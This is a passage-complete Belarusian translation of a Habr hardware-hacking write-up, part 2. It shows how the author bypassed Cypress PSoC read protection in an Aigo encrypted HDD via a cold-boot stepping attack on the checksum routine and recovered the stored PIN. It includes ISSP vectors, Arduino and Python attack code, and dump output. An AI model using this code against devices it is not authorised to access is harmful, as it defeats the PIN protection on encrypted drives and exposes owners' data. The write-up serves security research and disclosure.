Рэверсінг і ўзлом самошифрующегося вонкавага HDD-назапашвальніка Aigo. Частка 2: Здымаем дамп з Cypress PSoC

Гэта другая і заключная частка артыкула пра ўзлом вонкавых самашыфруюцца назапашвальнікаў. Нагадваю, нядаўна калега занёс мне цвёрдая кружэлка Patriot (Aigo) SK8671, і я вырашыў яго адрэверсіць, а зараз дзялюся, што з гэтага атрымалася. Перад тым як чытаць далей абавязкова азнаёмцеся з першай часткай артыкулы.

4. Пачынаем здымаць дамп з унутранай флэшкі PSoC
5. ISSP-пратакол
- 5.1. Што такое ISSP
- 5.2. Дэмістыфікацыя вектараў
- 5.3. Зносіны з PSoC
- 5.4. Ідэнтыфікацыя ўнутрычыпавых рэгістраў
- 5.5. Ахоўныя біты
6. Першая (няўдалая) атака: ROMX
7. Другая атака: трасіроўка з халоднай перазагрузкай
- 7.1. Рэалізацыя
- 7.2. Счытваем вынік
- 7.3. Рэканструкцыя флэш-бінарніка
- 7.4. Знаходзім адрас захоўвання пінкада
- 7.5. Здымаем дамп блока №126
- 7.6. Аднаўленне пінкада
8. Што далей?
9. заключэнне

Рэверсінг і ўзлом самошифрующегося вонкавага HDD-назапашвальніка Aigo. Частка 2: Здымаем дамп з Cypress PSoC


4. Пачынаем здымаць дамп з унутранай флэшкі PSoC

Такім чынам, усё паказвае на тое (як мы ўсталявалі ў [першай частцы]()), што пінкод захоўваецца ў флэш-нетрах PSoC. Таму нам неабходна прачытаць гэтыя флэш-нетры. Фронт неабходных работ:

  • ўзяць пад кантроль "зносіны" з мікракантролерам;
  • знайсці спосаб праверыць, ці абаронена гэтае «зносіны» ад счытвання звонку;
  • знайсці спосаб абыходу абароны.

Існуе два месцы, дзе мае сэнс шукаць дзейны пінкод:

  • ўнутраная флэш-памяць;
  • SRAM, дзе пінкод можа захоўвацца для параўнання яго з тым пінкод, які ўводзіцца карыстальнікам.

Забягаючы наперад, адзначу, што мне ўсёткі атрымалася зняць дамп унутранай флэшкі PSoC, абышоўшы яе сістэму абароны, пасродкам апаратнага нападу трасіроўка з халоднай перазагрузкай пасля рэверсінгу недакументаваных магчымасцяў ISSP-пратакола. Гэта дазволіла мне наўпрост здымаць дамп дзейнага пінкада.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Выніковы праграмны код:

5. ISSP-пратакол

5.1. Што такое ISSP

"Зносіны" з мікракантролерам можа азначаць розныя рэчы: ад "vendor to vendor", да ўзаемадзеяння з ужываннем паслядоўнага пратакола (напрыклад, ICSP для Microchip'аўскага PIC).

У Cypress для гэтага ўласны прапрыетарны пратакол, званы ISSP (in-system serial programming protocol; унутрысістэмны пратакол паслядоўнага праграмавання), які часткова апісаны ў тэхнічнай спецыфікацыі. Патэнт US7185162 таксама дае некаторую інфармацыю. Ёсць таксама OpenSource-аналаг, званы HSSP (мы скарыстаемся ім крыху пазней). ISSP працуе наступным чынам:

  • перазагрузіць PSoC;
  • вывесці магічны лік на ножку паслядоўных дадзеных гэтай PSoC; для ўваходу ў рэжым знешняга праграмавання;
  • адправіць каманды, якія ўяўляюць сабой доўгія бітавыя радкі, званыя "вектарамі".

У дакументацыі на ISSP гэтыя вектары вызначаны толькі для невялікай жменькі каманд:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (варыянты 3V і 5V)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, дзе dddddddd=block #
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDDD1, дзе DDDDDDDD = data out, aaaaaa = адрас (6 біт)
  • WRITE-BYTE: 10010aaaaaaddddddddd111, дзе dddddddd = data in, aaaaaa = адрас (6 біт)
  • бяспекай
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, дзе DDDDDDDDDDDDDDDD = data out: кантрольная сума дэвайса
  • ERASE BLOCK

Напрыклад, вектар для Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Ва ўсіх вектараў аднолькавая даўжыня: 22 біта. У дакументацыі на HSSP ёсць некаторыя дадатковыя звесткі па ISSP: "ISSP-вектар гэта ні што іншае як бітавая паслядоўнасць, якая ўяўляе сабой набор інструкцый".

5.2. Дэмістыфікацыя вектараў

Разбярэмся, што тут адбываецца. Першапачаткова я меркаваў, што гэтыя самыя вектары ўяўляюць сабой raw-варыянты M8C-інструкцый, аднак праверыўшы гэтую гіпотэзу, я выявіў, што апкоды аперацый не супадаюць.

Затым я загугнуў вышэйпрыведзены вектар, і натыкнуўся на вось гэта даследаванне, дзе аўтар, хоць і не апускаецца ў дэталі, дае некалькі слушных падказак: «Кожная інструкцыя пачынаецца з трох біт, якія адпавядаюць адной з чатырох мнемонік (прачытаць з RAM, запісаць у RAM, прачытаць рэгістр, запісаць рэгістр). Затым ідзе 8-біт адрасы, пасля чаго 8 біт дадзеных (лічаныя або для запісу) і нарэшце тры стоп-біты».

Затым мне атрымалася запазычыць вельмі карысную інфармацыю з падзелу "Supervisory ROM (SROM)" тэхнічнага кіраўніцтва. SROM гэта цвёрда закадаваная ROM, у PSoC, якая падае сэрвісныя функцыі (па падобным прынцыпе, што і Syscall), – для праграмнага кода, запушчанага ў карыстацкай прасторы:

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

Параўноўваючы імёны вектараў з функцыямі SROM, мы можам супаставіць розныя аперацыі, якія падтрымліваюцца гэтым пратаколам, – з чаканымі SROM-параметрамі. Дзякуючы гэтаму можам дэкадаваць першыя тры біты ISSP-вектараў:

  • 100 => “wrmem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

Аднак поўнае разуменне нутрачыповых працэсаў, можна атрымаць толькі пры непасрэдных зносінах з PSoC.

5.3. Зносіны з PSoC

Паколькі Дырк Петраўцкі ўжо партаваў Cypress'аўскі HSSP-код на Arduino, я скарыстаўся Arduino Uno для падлучэння да ISSP-раздыму клавіятурнай платы.

Звярніце ўвагу, што ў ходзе сваіх даследаванняў, я даволі моцна змяніў код Дзірка. Маю мадыфікацыю можаце знайсці на GitHub: тут і адпаведны Python-скрыпт для зносін з Arduino, у маім рэпазітары cypress_psoc_tools.

Такім чынам, ужываючы Arduino, я спачатку выкарыстоўваў для зносін толькі «афіцыйныя» вектары. Я паспрабаваў прачытаць унутраную ROM, выкарыстоўваючы каманду VERIFY. Як і чакалася, гэтага мне зрабіць не ўдалося. Верагодна з-за таго, што ўнутры флэшкі актываваны біты абароны ад счытвання.

Затым я стварыў некалькі сваіх просценькіх вектараў, для запісу і чытанні памяці/рэгістраў. Звярніце ўвагу, што мы можам чытаць усю SROM, нават нягледзячы на ​​тое, што флэшка абаронена!

5.4. Ідэнтыфікацыя ўнутрычыпавых рэгістраў

Паглядзеўшы на «дызасэмбляваныя» вектары, я выявіў, што девайс выкарыстоўвае недакументаваныя рэгістры (0xF8-0xFA), для ўказання M8C-апкодаў, якія выконваюцца напрамую, у абыход абароны. Гэта дазволіла мне запускаць розныя опкоды, такія як "ADD", "MOV A, X", "PUSH" ці "JMP". Дзякуючы ім (гледзячы на ​​пабочныя эфекты, якія аказваюцца імі на рэгістры) я змог вызначыць, якія з недакументаваных рэгістраў, фактычна з'яўляюцца звычайнымі рэгістрамі (A, X, SP і PC).

У выніку, "дызасэмбляванага" код, згенераваны інструментам HSSP_disas.rb, – выглядае так (для яснасці я дадаў каментары):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Ахоўныя біты

На дадзеным этапе я ўжо магу мець зносіны з PSoC, але ў мяне ўсё яшчэ няма дакладнай інфармацыі аб ахоўных бітах флэшкі. Я быў вельмі здзіўлены тым фактам, што Cypress не дае карыстачу дэвайса ніякіх сродкаў для таго каб праверыць, ці актываваная абарона. Я паглыбіўся ў Google, каб канчаткова зразумець, што HSSP-код, прадстаўлены Cypress'ам, быў абноўлены ўжо пасля таго, як Дырк выпусціў сваю мадыфікацыю. І вось! З'явіўся вось такі новы вектар:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Выкарыстоўваючы гэты вектар (гл. read_security_data у psoc.py), мы атрымліваем усе ахоўныя біты ў SRAM у 0x80, дзе на кожны абараняемы блок прыходзіцца па двух біта.

Вынік гняце: усё абаронена ў рэжыме «адключыць вонкавыя чытанне і запіс». Таму мы не толькі счытваць з флэшкі нічога не можам, але і запісваць таксама (каб напрыклад укараніць туды ROM-дампер). А адзіны спосаб адключыць абарону - цалкам сцерці ўвесь чып. 🙁

6. Першая (няўдалая) атака: ROMX

Аднак мы можам паспрабаваць зрабіць наступны трук: паколькі ў нас ёсць магчымасць выконваць адвольныя опкоды, чаму б не выканаць ROMX, які прымяняецца для чытання флэш-памяці? Такі падыход мае нядрэнныя шанцы на поспех. Таму што функцыя ReadBlock, счытвальная дадзеныя з SROM (якая выкарыстоўваецца вектарамі), правярае, ці выклікаецца яна з ISSP. Аднак опкод ROMX, як мяркуецца, можа не мець такой праверкі. Такім чынам, вось Python-код (пасля дадання некалькіх дапаможных класаў у Сішны Arduino-код):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Нажаль, гэты код не працуе. 🙁 Дакладней працуе, але мы на выхадзе атрымліваем свае ўласныя апкоды (0x28 0x30 0x40)! Не думаю, што якая адпавядае функцыянальнасць дэвайса з'яўляецца элементам абароны ад чытання. Гэта больш падобна на інжынерны трук: пры выкананні вонкавых апкодаў, ROM'аўская шына перанакіроўваецца на часовы буфер.

7. Другая атака: трасіроўка з халоднай перазагрузкай

Паколькі трук з ROMX не спрацаваў, я стаў абдумваць іншую варыяцыю гэтага трука - апісаную ў публікацыі "Shedding too much Light on Microcontroller's Firmware Protection".

7.1. Рэалізацыя

У дакументацыі на ISSP прыведзены наступны вектар для CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Тут у сутнасці вырабляецца выклік SROM-функцыі 0x07, як прадстаўлена ў дакументацыі (курсіў мой):

Гэтая функцыя праверкі кантрольнай сумы. Яна вылічае 16-бітавую кантрольную суму колькасці блокаў, зададзеных карыстачом - у адным флэш-банку, адлічваючы з нуля. Параметр BLOCKID выкарыстоўваецца для перадачы колькасці блокаў, які будзе выкарыстоўвацца пры разліку кантрольнай сумы. Значэнне "1" будзе вылічваць кантрольную суму толькі для нулявога блока; тады як "0" прывядзе да таго, што будзе вылічана агульная кантрольная сума ўсіх 256 блокаў флэш-банка. 16-бітавая кантрольная сума вяртаецца праз KEY1 і KEY2. У параметры KEY1 фіксуюцца малодшыя 8 біт кантрольнай сумы, а ў KEY2 - старэйшыя 8 біт. Для аксэсуараў з некалькімі флэш-банкамі, функцыя кантрольнай сумы выклікаецца для кожнага па асобнасці. Нумар банка, з якім яна будзе працаваць, задаецца рэгістрам FLS_PR1 (шляхам усталёўкі ў ім біта, які адпавядае мэтаваму флэш-банку).

Звярніце ўвагу, што гэта найпростая кантрольная сума: байты проста сумуюцца адзін за іншым; ніякіх выдасканаленых CRC-дзівацтваў. Акрамя таго, ведаючы, што ў ядры M8C набор рэгістраў вельмі невялікі, я выказаў здагадку, што пры вылічэнні кантрольнай сумы, прамежкавыя значэнні будуць фіксавацца ў тых жа самых зменных, якія ў выніку на вынахад пайдуць: KEY1 (0xF8) / KEY2 (0xF9).

Такім чынам, у тэорыі мой напад выглядае так:

  1. Злучаемся праз ISSP.
  2. Запускаем вылічэнне кантрольнай сумы, з выкарыстаннем вектара CHECKSUM-SETUP.
  3. Перазагружаем працэсар праз зададзены час T.
  4. Счытваем RAM, каб атрымаць бягучую кантрольную суму C.
  5. Паўтараем крокі 3 і 4, кожны раз крыху павялічваючы T.
  6. Аднаўляем дадзеныя з флэшкі, пасродкам аднімання папярэдняй кантрольнай сумы C з бягучай.

Аднак узнікла праблема: вектар Initialize-1, які мы павінны адправіць пасля перазагрузкі, перазапісвае KEY1 і KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Гэты код зацірае нашу каштоўную кантрольную суму, выклікаючы Calibrate1 (SROM-функцыя 9)… Можа быць нам атрымаецца, проста даслаўшы магічны лік (з пачатку вышэйпрыведзенага кода), увайсці ў рэжым праграмавання, і затым лічыць SRAM? І так, гэта працуе! Arduino-код, які рэалізуе гэты напад, даволі просты:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Лічыць checkum_delay.
  2. Запусціць вылічэнне кантрольнай сумы (send_checksum_v).
  3. Пачакаць зададзены прамежак часу; улічваючы наступныя падводныя камяні:
    • я забіў плойму часу, пакуль не даведаўся, што аказваецца delayMicroseconds працуе карэктна толькі з затрымкамі не якія перавышаюць 16383мкс;
    • і затым зноў забіў столькі ж часу, пакуль не выявіў, што delayMicroseconds, калі ёй на ўваход перадаць 0, працуе зусім няправільна!
  4. Перазагрузіць PSoC у рэжым праграмавання (проста магічны лік адпраўляемы, без адпраўкі якія ініцыялізуюць вектараў).

Выніковы код на Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

У двух словах, што робіць гэты код:

  1. Перазагружае PSoC (і адпраўляе яму магічны лік).
  2. Адпраўляе паўнавартасныя вектары ініцыялізацыі.
  3. Выклікае Arduino-функцыю Cmnd_STK_START_CSUM (0x85), куды ў якасці параметру перадаецца затрымка ў мікрасекундах.
  4. Счытвае кантрольную суму (0xF8 і 0xF9) і недакументаваны рэгістр 0xF1.

Гэты код выконваецца па 10 разоў за 1 мікрасекунду. 0xF1 сюды ўключаны, паколькі быў адзіным рэгістрам, які мяняўся пры вылічэнні кантрольнай сумы. Магчыма, гэта нейкая часавая зменная, выкарыстоўваная арыфметыка-лагічнай прыладай. Звярніце ўвагу на выродлівы хак, якім я перазагружаю Arduino, выкарыстоўваючы picocom, калі Arduino перастае падаваць прыкметы жыцця (паняцці не маю, чаму).

7.2. Счытваем вынік

Вынік працы Python-скрыпта выглядае так (спрошчаны для удобочитаемости):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Пры гэтым у нас ёсць праблема: паколькі мы аперуем фактычнай кантрольнай сумай, нулявы байт не мяняе лічанае значэнне. Аднак паколькі ўся працэдура вылічэння (8192 байта) займае 0,1478 секунд (з невялікімі адхіленнямі пры кожным запуску), што прыкладна адпавядае 18,04 мкс на байт, - мы можам выкарыстоўваць гэты час для праверкі значэння кантрольнай сумы ў прыдатныя моманты часу. Для першых прагонаў усё счытваецца даволі-такі лёгка, паколькі працягласць выканання вылічальнай працэдуры заўсёды практычна аднолькавая. Аднак канец гэтага дампа менш дакладны, таму што "нязначныя адхіленні па часе" пры кожным прагоне - сумуюцца, і становяцца значнымі:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Гэта 10 дампаў для кожнай мікрасекунднай затрымкі. Агульны час працы для зняцця дампа ўсіх 8192 байт флэшкі, складае каля 48 гадзін.

7.3. Рэканструкцыя флэш-бінарніка

Я пакуль яшчэ не завяршыў напісанне кода, які цалкам рэканструюе праграмны код флэшкі, з улікам усіх адхіленняў па часе. Аднак пачатак гэтага кода я ўжо аднавіў. Каб пераканацца ў тым, што зрабіў гэта карэктна, я дызасэмбляваў яго, пры дапамозе m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Выглядае цалкам праўдападобна!

7.4. Знаходзім адрас захоўвання пінкада

Цяпер, калі мы можам счытваць кантрольную суму ў патрэбныя нам моманты часу, - мы можам лёгка праверыць, як і дзе яна мяняецца, калі мы:

  • уводны няправільны пінкод;
  • змяняем пінкод.

Спачатку, каб знайсці прыблізны адрас захоўвання, я зняў дамп кантрольнай сумы з крокам 10 мс, пасля перазагрузкі. Затым я ўвёў няверны Пінкод і зрабіў тое ж самае.

Вынік аказаўся не вельмі прыемным, паколькі зменаў было шмат. Але ў рэшце рэшт мне ўдалося ўсталяваць, што кантрольная сума змянілася дзесьці ў прамежку паміж 120000 мкс і 140000 мкс затрымкі. Але «пінкод», які я там выбранужылі, быў абсалютна няправільны - з-за артэфакта працэдуры delayMicroseconds, якая робіць незразумелыя рэчы, калі ёй перадаецца 0.

Затым, выдаткаваўшы амаль 3 гадзіны, я ўспомніў, што SROM'аўскі сістэмны выклік CheckSum на ўваходзе атрымлівае аргумент, які задае колькасць блокаў для кантрольнай сумы! В.а. мы можам без працы лакалізаваць адрас захоўвання пінкада і лічыльніка «няслушных спроб», - з дакладнасцю да 64-байтавага блока.

Мае першапачатковыя прагоны далі наступны вынік:

Рэверсінг і ўзлом самошифрующегося вонкавага HDD-назапашвальніка Aigo. Частка 2: Здымаем дамп з Cypress PSoC

Затым я памяняў пінкод з "123456" на "1234567" і атрымаў:

Рэверсінг і ўзлом самошифрующегося вонкавага HDD-назапашвальніка Aigo. Частка 2: Здымаем дамп з Cypress PSoC

Такім чынам, пінкод і лічыльнік няслушных спробаў, падобна, захоўваюцца ў блоку №126.

7.5. Здымаем дамп блока №126

Блок №126 павінен размяшчацца дзесьці ў раёне 125×64x18 = 144000мкс, ад пачатку разліку кантрольнай сумы, у маім поўным дампе, і ён выглядае цалкам праўдападобна. Затым, пасля ручнога адсявання шматлікіх няслушных дампаў (з-за назапашванні "нязначных адхіленняў па часе"), я ў выніку атрымаў вось такія байты (на затрымцы 145527мкс):

Рэверсінг і ўзлом самошифрующегося вонкавага HDD-назапашвальніка Aigo. Частка 2: Здымаем дамп з Cypress PSoC

Цалкам відавочна, што Пінкод захоўваецца ў незашыфраваным выглядзе! Гэтыя значэнні вядома не ў ASCII-кодах запісаныя, але як аказалася - адлюстроўваюць паказанні, знятыя з ёмістнай клавіятуры.

Нарэшце, я правёў яшчэ некалькі тэстаў, каб знайсці, дзе захоўваецца лічыльнік памылковых спроб. Вось вынік:

Рэверсінг і ўзлом самошифрующегося вонкавага HDD-назапашвальніка Aigo. Частка 2: Здымаем дамп з Cypress PSoC

0xFF - азначае "15 спроб", і ён памяншаецца пры кожнай няправільнай спробе.

7.6. Аднаўленне пінкада

Вось мой выродлівы код, які збірае разам усё вышэй сказанае:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Вось вынік яго выканання:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ура! Працуе!

Звярніце ўвагу, што значэнні затрымкі, скарыстаныя мной, хутчэй за ўсё актуальныя для аднаго пэўнага PSoC - таго, якім карыстаўся я.

8. Што далей?

Такім чынам, падвядзем вынікі на баку PSoC, у кантэксце нашага назапашвальніка Aigo:

  • мы можам счытваць SRAM, нават калі яна абаронена ад счытвання;
  • мы можам абыйсці абарону ад счытвання, з дапамогай атакі «трасіроўка з халоднай перазагрузкай», і непасрэднага счытвання пінкада.

Тым не менш, у нашай атакі ёсць некаторыя недапрацоўкі - з-за праблем з сінхранізацыяй. Яе можна было б палепшыць наступным чынам:

  • напісаць утыліту для правільнага дэкадавання выходных дадзеных, якія атрыманы ў выніку нападу «трасіроўка з лядоўні перазагрузкай»;
  • выкарыстоўваць FPGA-прымочку для стварэння больш дакладных часавых затрымак (або выкарыстоўваць апаратныя таймеры Arduino);
  • паспрабаваць яшчэ адну атаку: увесці загадзя няслушны пінкод, перазагрузіць і з дампіць RAM, спадзеючыся на тое, што правільны пінкод апынецца захаваным у RAM, для параўнання. Аднак на Arduino гэта зрабіць не вось так проста, паколькі ўзровень сігналу Arduino складае 5 вольт, у той час як доследная намі поплатак працуе з сігналамі ў 3,3 вольт.

Адна цікавая рэч, якую можна было б паспрабаваць - пагуляць узроўнем напругі, для абыходу абароны ад чытання. Калі б такі падыход спрацаваў, мы б змаглі атрымліваць абсалютна дакладныя дадзеныя з флэшкі, - замест таго, каб спадзявацца на чытанне кантрольнай сумы з недакладнымі часовымі затрымкамі.

Паколькі SROM, верагодна счытвае ахоўныя біты з дапамогай сістэмнага выкліку ReadBlock, мы маглі б зрабіць тое ж самае, што апісана у блогу Дзмітрыя Недаспасава - паўторная рэалізацыя атакі Крыса Герлінскі, анансаванай на канферэнцыі «REcon Brussels 2017».

Яшчэ адна пацешная рэч, якую можна было б зрабіць - стачыць з мікрасхемы корпус: для зняцця дампа SRAM, выяўлення недакументаваных сістэмных выклікаў і ўразлівасцяў.

9. заключэнне

Такім чынам, абарона гэтага назапашвальніка пакідае жадаць лепшага, таму што ён для захоўвання пінкада выкарыстоўвае звычайны (не «загартаваны») мікракантролер… Плюс я яшчэ не глядзеў (пакуль), як на гэтым аксэсуары справы ідуць з шыфраваннем дадзеных!

Што можна параіць для Aigo? Прааналізаваўшы пару-тройку мадэляў зашыфраваных HDD-назапашвальнікаў, я ў 2015 году зрабіў прэзентацыю на SyScan, у якой разгледзеў праблемы бяспекі некалькіх вонкавых HDD-назапашвальнікаў, і даў рэкамендацыі, што ў іх можна было б палепшыць. 🙂

На гэтае даследаванне я выдаткаваў два выходных і некалькі вечароў. У агульнай складанасці каля 40 гадзін. Лічачы з самага пачатку (калі я выявіў дыск) і да канца (дамп пінкода). У гэтыя ж 40 гадзін уключаны час, які я выдаткаваў для напісання гэтага артыкула. Вельмі займальнае было падарожжа.

Крыніца: habr.com

Дадаць каментар